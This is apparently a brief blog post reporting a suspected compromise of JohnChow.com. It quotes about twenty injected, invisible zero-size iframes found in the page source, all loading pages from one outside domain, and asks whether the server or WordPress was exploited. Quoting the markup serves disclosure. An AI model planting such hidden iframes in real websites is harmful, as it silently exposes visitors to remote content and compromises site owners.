Has JohnChow.com been hacked?

While doing my morning Internet cruising I attempted to visit John Chow's How to make money on the Internet website and all I got was a blank page. After looking at the source I saw a much scarier picture:

[iframe src="http://www.siyamiozkan-mavideniz.org" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/canakkale/index.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/gelibolu/index.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/troia/index.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/canakkale/gezi.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/canakkale/savas.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/canakkale/savason.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/gelibolu/tarihce.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/gelibolu/yerler.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/gelibolu/unluleri.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/gelibolu/gravur.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/gelibolu/kronoloji.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/troia/tarih.htm" frameborder="0" width="0" height="0">][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/troia/sehir.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/forum2/" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/forum/" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/phpnuke_security.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/cd.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/cd1ayrinti.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/remote_file_include_vulnerabilities.htm" frameborder="0" width="0" height="0"][/iframe]
[iframe src="http://www.siyamiozkan-mavideniz.org/forum2/memberlist.php" frameborder="0" width="0" height="0"][/iframe]

Looks like John has been hacked!

Which leads us to the next big question, was his server exploited or was his WordPress install exploited?

I can only hope that John uses a cron job to backup his databases.